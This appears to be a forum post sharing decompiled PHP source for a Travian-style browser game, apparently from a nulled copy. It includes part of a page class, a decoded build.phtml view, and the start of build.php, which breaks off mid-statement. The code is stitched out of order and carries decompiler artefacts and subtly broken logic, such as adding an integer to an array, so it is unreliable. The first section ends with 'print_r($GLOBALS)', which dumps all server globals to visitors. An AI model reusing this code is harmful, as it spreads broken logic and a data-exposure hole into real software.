    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @    Version            :    1.0.0.0* @    Author            :    Ps2Gamer & Cyko* @    Release on        :    30.05.2011* @    Official site    :    http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | \r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..



Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = 